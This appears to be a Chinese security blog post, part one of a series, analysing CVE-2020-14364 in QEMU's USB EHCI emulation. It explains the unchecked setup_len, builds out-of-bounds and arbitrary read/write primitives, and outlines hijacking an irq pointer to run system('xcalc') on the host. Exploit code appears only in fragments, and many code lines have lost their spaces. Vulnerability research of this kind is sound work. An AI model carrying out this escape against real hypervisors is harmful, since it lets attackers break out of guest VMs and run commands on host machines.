多种方法利用QEMU-CVE-2020-14364(一)

阅读量198285

发布时间 : 2021-06-17 12:00:43

本系列文章是笔者外一共写了四种利用方法,前两种是借鉴的,后两种是网上现未公开的利用usb1的利用方式。

CVE-2020-14364

QEMU版本

qemu的版本没什么要求,因为这个漏洞声称对5.2.0之前的版本都适用,所以随便找个qemu版本就行,关于内核和rootfs.img镜像不再多说,但是这次涉及到usb设备的制作

 

第一种思路

环境配置

第二种思路需要qemu启动时加载qxl-vga设备,我们需要在编译qemu之前安装spice,如果不走这个思路的话可以跳过,直接编译qemu,但是记得去掉--enable-spice 参数

以下来自

#有一些依赖需要安装
#1.安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudomake install
​
#2.安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudomake install

#别的依赖
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev
​
#安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudomake install

然后我们就可以编译qemu源码了

tar -xvf qemu-xxxx.tar.xz
cd qemu-xxxx
./configure --enable-kvm--enable-debug--target-list=x86_64-softmmu --disable-werror (可选 --enable-spice)
make-j4
make install

制作usb设备

qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img

启动

对应路径/qemu-system-x86_64 \
-enable-kvm \
-append”console=ttyS0 root=/dev/sda rw” \
-m 1G \
-kernel ./linux/arch/x86/boot/bzImage \
-hda ./rootfs.img \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::33333-:22 \
-usb \
-driveif=none,format=raw,id=disk1,file=./usb.img \
-device ich9-usb-ehci1,id=usb \
-device usb-storage,drive=disk1 \
  (可选 -device qxl-vga \)
-nographic

漏洞分析

首先我们通过上面那张图可以注意到,过大的s->setup_len 会进行返回,但s->setup_len已经被赋值了,该处的检查没有起到效果,说白了就是这个检查没有什么卵用,为什么这么说呢?因为这个函数的功能本来就是获得s->setup_len而已,真正的输入和输出在另外两个函数,那么我们可以控制这个长度然后进行溢出,重点就是看溢出到哪,控制什么了,我们先看官方给的解释

USB总线通过创建一个USBpacket对象来和USB设备通信

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制

我们来看看这两个结构体外加一个函数,因为我用的是4.0.0版qemu,所以贴的源码也是这一版本的

/* definition of a USB device */
structUSBDevice {
DeviceStateqdev;
USBPort*port;
char*port_path;
char*serial;
void*opaque;
uint32_tflags;
​
/* Actual connected speed */
intspeed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
intspeedmask;
uint8_taddr;
charproduct_desc[32];
intauto_attach;
boolattached;
​
int32_tstate;
uint8_tsetup_buf[8];
uint8_tdata_buf[4096];  //data_buf
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;   //setup_len
int32_tsetup_index;
​
USBEndpointep_ctl;
USBEndpointep_in[USB_MAX_ENDPOINTS];
USBEndpointep_out[USB_MAX_ENDPOINTS];
​
QLIST_HEAD(, USBDescString) strings;
constUSBDesc*usb_desc; /* Overrides class usb_desc if not NULL */
constUSBDescDevice*device;
​
intconfiguration;
intninterfaces;
intaltsetting[USB_MAX_INTERFACES];
constUSBDescConfig*config;
constUSBDescIface*ifaces[USB_MAX_INTERFACES];
};
==========================================================================
/* Structure used to hold information about an active USB packet. */
structUSBPacket {
/* Data fields for use by the driver. */
intpid;
uint64_tid;
USBEndpoint*ep;
unsignedintstream;
QEMUIOVectoriov;
uint64_tparameter; /* control transfers */
boolshort_not_ok;
boolint_req;
intstatus; /* USB_RET_* status code */
intactual_length; /* Number of bytes actually transferred */
/* Internal use by the USB layer. */
USBPacketStatestate;
USBCombinedPacket*combined;
QTAILQ_ENTRY(USBPacket) queue;
QTAILQ_ENTRY(USBPacket) combined_entry;
};
======================================================================
voidusb_packet_copy(USBPacket*p, void*ptr, size_tbytes)
{
QEMUIOVector*iov=p->combined?&p->combined->iov : &p->iov;
​
assert(p->actual_length>=0);
assert(p->actual_length+bytes<=iov->size);
switch (p->pid) {
caseUSB_TOKEN_SETUP:
caseUSB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
caseUSB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
  }
p->actual_length+=bytes;
}

另外通过看上面那个图得到的漏洞函数

staticvoiddo_token_setup(USBDevice*s, USBPacket*p)
{
intrequest, value, index;
​
if (p->iov.size!=8) {
p->status=USB_RET_STALL;
return;
  }
​
usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copy
s->setup_index=0;
p->actual_length=0;
s->setup_len= (s->setup_buf[7] <<8) |s->setup_buf[6];
if (s->setup_len>sizeof(s->data_buf)) {      //这个检查无效
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status=USB_RET_STALL;
return;
  }
​
request= (s->setup_buf[0] <<8) |s->setup_buf[1];
value= (s->setup_buf[3] <<8) |s->setup_buf[2];
index= (s->setup_buf[5] <<8) |s->setup_buf[4];
​
if (s->setup_buf[0] &USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
s->setup_state=SETUP_STATE_SETUP;
      }
if (p->status!=USB_RET_SUCCESS) {
return;
      }
​
if (p->actual_length<s->setup_len) {
s->setup_len=p->actual_length;
      }
s->setup_state=SETUP_STATE_DATA;
  } else {
if (s->setup_len==0)
s->setup_state=SETUP_STATE_ACK;
else
s->setup_state=SETUP_STATE_DATA;
  }
​
p->actual_length=8;
}
===========================================================
voidusb_device_handle_control(USBDevice*dev, USBPacket*p, intrequest,
intvalue, intindex, intlength, uint8_t*data)
{
USBDeviceClass*klass=USB_DEVICE_GET_CLASS(dev);
if (klass->handle_control) {
klass->handle_control(dev, p, request, value, index, length, data);
  }
}
==============================================================
#define USB_DEVICE_GET_CLASS(obj) \
OBJECT_GET_CLASS(USBDeviceClass, (obj), TYPE_USB_DEVICE)  //跟着OBJECT_GET_CLASS后面还能跟好长

do_token_setup相当于是给我们创造一个使得len的长度越界的机会,在这上面调用usb_packet_copy时我们还未完成len的越界,所以我们找找在do_tocken_setup之后调用的usb_packet_copy,这时候其实调试看调用链是很合适的,但当时的笔者还不太清楚断点下在哪。

出人意料的是,do_token_setup 只被调用一次,为我看源码找答案带来了极大的方便

在这里

staticvoidusb_process_one(USBPacket*p)
{
USBDevice*dev=p->ep->dev;
​
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status=USB_RET_SUCCESS;
​
if (p->ep->nr==0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
      }
switch (p->pid) {
caseUSB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
caseUSB_TOKEN_IN:
do_token_in(dev, p);
break;
caseUSB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status=USB_RET_STALL;
      }
  } else {
/* data pipe */
usb_device_handle_data(dev, p);
  }
}

那我们来看看他附近的函数,看调用usb_process_one之后有没有再调用usb_packet_copy的,我觉得八成是有的,就是这种方法找起来太过痛苦

staticvoiddo_token_in(USBDevice*s, USBPacket*p)
{
intrequest, value, index;
​
assert(p->ep->nr==0);
​
request= (s->setup_buf[0] <<8) |s->setup_buf[1];
value= (s->setup_buf[3] <<8) |s->setup_buf[2];
index= (s->setup_buf[5] <<8) |s->setup_buf[4];
​
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
return;
          }
s->setup_state=SETUP_STATE_IDLE;
p->actual_length=0;
      }
break;
​
caseSETUP_STATE_DATA:
if (s->setup_buf[0] &USB_DIR_IN) {
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
          }
usb_packet_copy(p, s->data_buf+s->setup_index, len);  //中!!!
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
          }
return;
      }
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
​
default:
p->status=USB_RET_STALL;
  }
}
======================================================================
staticvoiddo_token_out(USBDevice*s, USBPacket*p)
{
assert(p->ep->nr==0);
​
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (s->setup_buf[0] &USB_DIR_IN) {
s->setup_state=SETUP_STATE_IDLE;
/* transfer OK */
      } else {
/* ignore additional output */
      }
break;
​
caseSETUP_STATE_DATA:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
          }
usb_packet_copy(p, s->data_buf+s->setup_index, len);  //中了!!!
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
          }
return;
      }
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
​
default:
p->status=USB_RET_STALL;
  }
}

这俩函数也是只在那里被调用一次,有预感会中,没想到真中了,那我们来看看这俩函数是干嘛的,我看到两次传入的len都是这么赋值的

intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}

也就是说,如果p->iov.size不可控,那我们就很有可能无法很好的利用这一漏洞,甚至完全利用不了,当然,这能发出来作为cve肯定是能利用的,如果不出意外,p->iov.size就是可控的,我们试试看能不能找到控制其大小的地方

首先知道p是USBPacket结构体,iov是QEMUVector结构体,然后我看了一下

那么话收回来,我们现在看那两个函数是干嘛的,do_token_outdo_token_in 看in和out应该是和io有关,我们看看上面的一个注释

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/

没有得到我们想要的信息,那就看看那两个作为调用函数的依据的宏有没有注释一些东西

#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN   0x69 /* device -> host */
#define USB_TOKEN_OUT   0xe1 /* host -> device */

找到了,看到很明显的就是数据交互的函数,结果和猜的一样

那么也就是说,我们很有可能获得了任意长度写入读出的能力,在这种情况下,我们可以看看数据是存在哪个结构体中的哪个变量里,周围有没有覆盖的好对象

do_token_in开始

usb_packet_copy(p, s->data_buf+s->setup_index, len);

回上面去看源码,可以看到在usb_packet_copy中还要根据p的pid调用函数,p的pid有这么三种,在上面贴过

#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN   0x69 /* device -> host */
#define USB_TOKEN_OUT   0xe1 /* host -> device */
================================================
usb_packet_copy:
switch (p->pid) {
caseUSB_TOKEN_SETUP:
caseUSB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
caseUSB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;

其实调用iov_to_buf和调用iov_from_buf的条件和之前的do_token_out以及do_token_in是一致的

关于iov_to_bufiov_from_buf的源码我就不贴了,用处不大,贴一下这个

iov_to_buf(conststructiovec*iov, constunsignedintiov_cnt,
size_toffset, void*buf, size_tbytes)
...
memcpy(buf, iov[0].iov_base+offset, bytes);
  ...

iov_from_buf(conststructiovec*iov, unsignedintiov_cnt,
size_toffset, constvoid*buf, size_tbytes)
  ...
memcpy(iov[0].iov_base+offset, buf, bytes);
  ...

我们再回头看p的结构体,看iov附近有什么好溢出的

unsignedintstream;
QEMUIOVectoriov;
uint64_tparameter; /* control transfers */

很遗憾,我没有找到什么有价值的利用的地方,再看另一结构体

uint8_tsetup_buf[8];
uint8_tdata_buf[4096];
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
​
USBEndpointep_ctl;
USBEndpointep_in[USB_MAX_ENDPOINTS];
USBEndpointep_out[USB_MAX_ENDPOINTS];

我在网上搜 USBEndpoint ep_ctl稍微找了下没找到有用的信息,关于驱动我完全就是小白

可以从下方的ep_ctl->dev获取到usbdevice的对象地址

通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写

这点不难理解,USBDevice就是我们上面的结构体,得到结构体基址后加上偏移就能得到其中成员的地址,我们首先肯定是越界读取来获得这一地址,然后再越界去覆盖一些成员,覆盖setup_index是因为写入的地址等于setup_index+data_buf,所以构造一下就能任意地址写

我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

改变setup_buf[0]为读入方向就能读取,并且对setup_index修改就能任意地址读

利用手法

  1. 通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
  2. 在data_buf中伪造irq结构。
  3. 以伪造结构劫持ehcistate中的irq对象。
  4. 通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。

想看懂exp只有上面的利用过程还不够,后面主要讲解任意读写原语的构造

构造任意读写原语

structEHCIState {
USBBusbus;
DeviceState*device;
qemu_irqirq;
MemoryRegionmem;
AddressSpace*as;

  [ ... ]
​
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_tcaps[CAPA_SIZE];
union {
uint32_topreg[0x44/sizeof(uint32_t)];
struct {
uint32_tusbcmd;
uint32_tusbsts;
uint32_tusbintr;
uint32_tfrindex;
uint32_tctrldssegment;
uint32_tperiodiclistbase;
uint32_tasynclistaddr;
uint32_tnotused[9];
uint32_tconfigflag;
      };
  };

重点是opreg ,我们得到mmio_fd之后就映射一块内存,其实就是映射usb设备的内存,这样就让cpu访问usb直接访问内存,然后在usb的初始化中,对EHCIState结构中的opreg 的基地址设置在这块内存的偏移0x20

staticvoidusb_ehci_pci_init(Object*obj)
{
DeviceClass*dc=OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState*i=PCI_EHCI(obj);
EHCIState*s=&i->ehci;
​
s->caps[0x09] =0x68;        /* EECP */
​
s->capsbase=0x00;
s->opregbase=0x20; //这里
s->portscbase=0x44;
s->portnr=NB_PORTS;
​
if (!dc->hotpluggable) {
s->companion_enable=true;
  }
​
usb_ehci_init(s, DEVICE(obj));  //调用了这个
}

再往下看看这个调用

voidusb_ehci_init(EHCIState*s, DeviceState*dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase-s->capsbase);
s->caps[0x01] =0x00;
s->caps[0x02] =0x00;
s->caps[0x03] =0x01;        /* HC version */
s->caps[0x04] =s->portnr;   /* Number of downstream ports */
s->caps[0x05] =0x00;        /* No companion ports at present */
s->caps[0x06] =0x00;
s->caps[0x07] =0x00;
s->caps[0x08] =0x80;        /* We can cache whole frame, no 64-bit */
s->caps[0x0a] =0x00;
s->caps[0x0b] =0x00;
​
QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);
​
memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, //this
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4*s->portnr);
​
memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase+s->portscbase,
&s->mem_ports);
}

usb_ehci_init函数中又注册了对opreg区域读写的操作函数,

staticconstMemoryRegionOpsehci_mmio_opreg_ops= {
  .read=ehci_opreg_read,
  .write=ehci_opreg_write,
  .valid.min_access_size=4,
  .valid.max_access_size=4,
  .endianness=DEVICE_LITTLE_ENDIAN,
};

对opreg的写操作会调用到ehci_opreg_write 函数

mmio_write(0x20, 0xddaa); 会调用ehci_opreg_write,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD流程,即对usbcmd进行覆写,将EHCIState->usbcmd 改写成0xddaa

下面看exp中的set_EHCIState

voidset_EHCIState(){
//ehci->periodiclistbase被我们填充为dmabuf的物理地址
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
//设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}

首先我们看为什么设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE

#0 do_token_setup
#1 0x0000563a32c8ef9e in usb_process_one
#2 0x0000563a32c8f1a9 in usb_handle_packet
#3 0x0000563a32ca0847 in ehci_execute
#4 0x0000563a32ca1b62 in ehci_state_execute
#5 0x0000563a32ca205f in ehci_advance_state
#6 0x0000563a32ca24a9 in ehci_advance_periodic_state
#7 0x0000563a32ca279f in ehci_frame_timer   //<--------------------
#8 0x0000563a32d28e50 in timerlist_run_timers
#9 0x0000563a32d28e99 in qemu_clock_run_timers
#10 0x0000563a32d2919e in qemu_clock_run_all_timers
#11 0x0000563a32d27b47 in main_loop_wait
#12 0x0000563a32b5e021 in main_loop
#13 0x0000563a32b65d2d in main
#14 0x00007f23c5afbbf7 in __libc_start_main
#15 0x0000563a32a11d6a in _start

调用链来自,我自己下的断点没调出来,我们通过调用链可以看到,调用ehci_advance_periodic_state需要先通过ehci_work_bh,看看在ehci_work_bh中什么情况会调用ehci_advance_periodic_state

staticvoidehci_work_bh(void*opaque)
{
EHCIState*ehci=opaque;
intneed_timer=0;
int64_texpire_time, t_now;
uint64_tns_elapsed;
uint64_tuframes, skipped_uframes;
[ ... ]
if (ehci_periodic_enabled(ehci) ||ehci->pstate!=EST_INACTIVE) {  //这里
[ ... ]
}
===================================================================
staticinlineboolehci_periodic_enabled(EHCIState*s)
{
returnehci_enabled(s) && (s->usbcmd&USBCMD_PSE);
}
==================================================================
staticinlineboolehci_enabled(EHCIState*s)
{
returns->usbcmd&USBCMD_RUNSTOP;
}

我们可以看到需要usbcmd设置为USBCMD_RUNSTOP | USBCMD_PSE才能进入ehci_advance_periodic_state

下面看为什么要ehci->periodiclistbase被填充为dmabuf的物理地址

staticvoidehci_advance_periodic_state(EHCIState*ehci)
{
uint32_tentry;
uint32_tlist;
constintasync=0;
​
switch(ehci_get_state(ehci, async)) {
caseEST_INACTIVE:
if (!(ehci->frindex&7) &&ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
      } else
break;
​
caseEST_ACTIVE:
if (!(ehci->frindex&7) &&!ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
      }
​
list=ehci->periodiclistbase&0xfffff000;   //这里
/* check that register has been set */
if (list==0) {
break;
      }
list|= ((ehci->frindex&0x1ff8) >>1);   //这里
​
if (get_dwords(ehci, list, &entry, 1) <0) { //这里
break;
      }
​
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex/8, list, entry);
ehci_set_fetch_addr(ehci, async,entry);//这里
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async);
ehci_queues_rip_unused(ehci, async);
break;
​
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
  }
}

list = ehci->periodiclistbase & 0xfffff000; + list |= ((ehci->frindex & 0x1ff8) >> 1);使得list为virt2phys(dmabuf)+4

get_dwords(ehci, list, &entry, 1)将list上的内容写入entry ( dmabuf赋值时 entry = dmabuf + 4;),所以我们在dmabuf + 4 填充了virt2phys(qh)+0x2; 作为entry (*entry = virt2phys(qh)+0x2;)

之后在ehci_set_fetch_addr(ehci, async,entry);

static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
  if (async) {
      s->a_fetch_addr = addr;
  } else {
      s->p_fetch_addr = addr;
  }
}

将list上的内容,即virt2phys(qh)+2写入s->p_fetch_addr

这里的entry为什么要多个+2是因为

staticvoidehci_advance_periodic_state(EHCIState*ehci)
  [...]
ehci_set_fetch_addr(ehci, async,entry); //这里得到entry
ehci_set_state(ehci, async, EST_FETCHENTRY);  //这里设置state为EST_FETCHENTRY,所以进入下面的函数处理分支会调用这个状态对应的
ehci_advance_state(ehci, async);        //进这里看
ehci_queues_rip_unused(ehci, async);
staticvoidehci_advance_state(EHCIState*ehci, intasync)
{
EHCIQueue*q=NULL;
intitd_count=0;
intagain;
​
do {
switch(ehci_get_state(ehci, async)) {
caseEST_WAITLISTHEAD:
again=ehci_state_waitlisthead(ehci, async);
break;
​
caseEST_FETCHENTRY:  //第一次运行到这里
again=ehci_state_fetchentry(ehci, async); //进去看看
break;
​
caseEST_FETCHQH:  //这里
q=ehci_state_fetchqh(ehci, async);  //得到qh
if (q!=NULL) {
assert(q->async==async);
again=1;
          } else {
again=0;
          }
break;
      [ ... ]
============================================================
staticintehci_state_fetchentry(EHCIState*ehci, intasync)
{
intagain=0;
uint32_tentry=ehci_get_fetch_addr(ehci, async);
​
[ ... ]
​
switch (NLPTR_TYPE_GET(entry)) {
caseNLPTR_TYPE_QH:   //这里
ehci_set_state(ehci, async, EST_FETCHQH); //这里设置之后回到ehci_advance_state就能调用那个返回qh的分支了
again=1;
break;
      [ ... ]

我们的目的是得到qh结构,即要运行EST_FETCHQH这一分支,第一次进来时,运行ehci_state_fetchentry得到entry,内容和s->p_fetchaddr相等,是virt2phys(qh)+0x2,并且在ehci_state_fetchentry中可以设定下次循环调用获得qh的分支,条件是NLPTR_TYPE_GET(entry)NLPTR_TYPE_QH值相等,看下二者定义

#define NLPTR_TYPE_QH           1     // queue head
#define NLPTR_TYPE_GET(x)       (((x) >> 1) & 3)

对于NLPTR_TYPE_GET(x)在这里就是 NLPTR_TYPE_GET(entry),即(virt2phys(qh)+0x2)>>1&3,要得到1,显然加上2是能确保我们在这里百分百能达成条件的,所以我们在这里就能设置响应state然后调用ehci_state_fetchqh 得到qh

staticEHCIQueue*ehci_state_fetchqh(EHCIState*ehci, intasync)
{
uint32_tentry;
EHCIQueue*q;
EHCIqhqh;
​
entry=ehci_get_fetch_addr(ehci, async);
q=ehci_find_queue_by_qh(ehci, entry, async);
if (q==NULL) {
q=ehci_alloc_queue(ehci, entry, async);
  }
​
q->seen++;
if (q->seen>1) {
/* we are going in circles -- stop processing */
ehci_set_state(ehci, async, EST_ACTIVE);
q=NULL;
gotoout;
  }
​
if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
                  (uint32_t*) &qh, sizeof(EHCIqh) >>2) <0) {
q=NULL;
gotoout;
  }
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);
​
/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh)) {
if (ehci_reset_queue(q) >0) {
ehci_trace_guest_bug(ehci, "guest updated active QH");
      }
  }
q->qh=qh;
​
q->transact_ctr=get_field(q->qh.epcap, QH_EPCAP_MULT);
if (q->transact_ctr==0) { /* Guest bug in some versions of windows */
q->transact_ctr=4;
  }
​
if (q->dev==NULL) {
q->dev=ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
  }
​
if (async&& (q->qh.epchar&QH_EPCHAR_H)) {
​
/* EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */
if (ehci->usbsts&USBSTS_REC) {
ehci_clear_usbsts(ehci, USBSTS_REC);
      } else {
DPRINTF("FETCHQH: QH 0x%08x. H-bit set, reclamation status reset"
" - done processing\n", q->qhaddr);
ehci_set_state(ehci, async, EST_ACTIVE);
q=NULL;
gotoout;
      }
  }
​
#if EHCI_DEBUG
if (q->qhaddr!=q->qh.next) {
DPRINTF("FETCHQH: QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",
q->qhaddr,
q->qh.epchar&QH_EPCHAR_H,
q->qh.token&QTD_TOKEN_HALT,
q->qh.token&QTD_TOKEN_ACTIVE,
q->qh.next);
  }
#endif
​
if (q->qh.token&QTD_TOKEN_HALT) {
ehci_set_state(ehci, async, EST_HORIZONTALQH);
​
  } elseif ((q->qh.token&QTD_TOKEN_ACTIVE) &&
              (NLPTR_TBIT(q->qh.current_qtd) ==0)) {
q->qtdaddr=q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD);
​
  } else {
/* EHCI spec version 1.0 Section 4.10.2 */
ehci_set_state(ehci, async, EST_ADVANCEQUEUE);
  }
​
out:
returnq;
}

然后我们就得到了qh地址,之后就会沿着上面给出的调用链继续运行下去,一直到触发漏洞函数

接下来我们看任意读写原语的构造过程,只要这个看懂了,exp其余部分就自然懂了

越界读

还记得我们的漏洞函数是什么吗,没错,就是对赋值长度的检查形同虚设引起usb_packet_copy任意长度赋值,那我们先要设置赋值的长度,设置一个比较长的长度,把漏洞函数拿下来方便看

staticvoiddo_token_setup(USBDevice*s, USBPacket*p)
{
usb_packet_copy(p, s->setup_buf, p->iov.size);  //调用usb_packet_copy
s->setup_index=0;
p->actual_length=0;
s->setup_len= (s->setup_buf[7] <<8) |s->setup_buf[6];  //长度是由这俩参数设置的
[...]
​
if (s->setup_buf[0] &USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
[ ... ]
}

我们可以先调用一次这个函数,使得设置s->setup_len 的长度为越界长度,要进入do_token_setup 需要通过设置qtd->token

#define QTD_TOKEN_PID_MASK           0x00000300
#define QTD_TOKEN_PID_SH             8
​
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN   0x69 /* device -> host */
#define USB_TOKEN_OUT   0xe1 /* host -> device */
​
staticintehci_get_pid(EHCIqtd*qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case0:
returnUSB_TOKEN_OUT;
case1:
returnUSB_TOKEN_IN;     //do_token_in
case2:
returnUSB_TOKEN_SETUP;  //进do_token_setup设置 s->setup_len
default:
fprintf(stderr, "bad token\n");
return0;
  }
}
==============================================
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)

设置qtd->token2 << 8 即可进入do-token_setup分支,之后设置setup_buf[7]setup_buf[6] 构造要越界的长度

然后设置qtd->token1<<8,进入do_token_in,另外在do_token_in中有别的条件需要满足

staticvoiddo_token_in(USBDevice*s, USBPacket*p)
{
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
return;
          }
s->setup_state=SETUP_STATE_IDLE;
p->actual_length=0;
      }
break;
​
caseSETUP_STATE_DATA:
if (s->setup_buf[0] &USB_DIR_IN) {  //这里,一个约束条件
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
          }
usb_packet_copy(p, s->data_buf+s->setup_index, len);  //这里
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
          }
return;
      }
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
​
}

可以看到,要设置setup_buf[0]USB_DIR_IN,才能调用usb_packet_copy,将s->data_buf复制到qtd->bufptr[0],进行泄露,达到越界读的目的。其中p->iov.size大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH 控制

越界写

同上面的一样要先进setup设置长度,再设置qtd->token 为 0<<8,进入do_token_out分支,而且这里也有额外约束条件

staticvoiddo_token_out(USBDevice*s, USBPacket*p)
{
assert(p->ep->nr==0);
​
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (s->setup_buf[0] &USB_DIR_IN) {
s->setup_state=SETUP_STATE_IDLE;
/* transfer OK */
      } else {
/* ignore additional output */
      }
break;
​
caseSETUP_STATE_DATA:
if (!(s->setup_buf[0] &USB_DIR_IN)) {  //约束条件
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
          }
usb_packet_copy(p, s->data_buf+s->setup_index, len);
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
          }
return;
      }
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
​
}

需要设置setup_buf[0]为USB_DIR_OUT,然后就能达到将qtd->bufptr[0]复制到s->data_buf进行覆写的目的

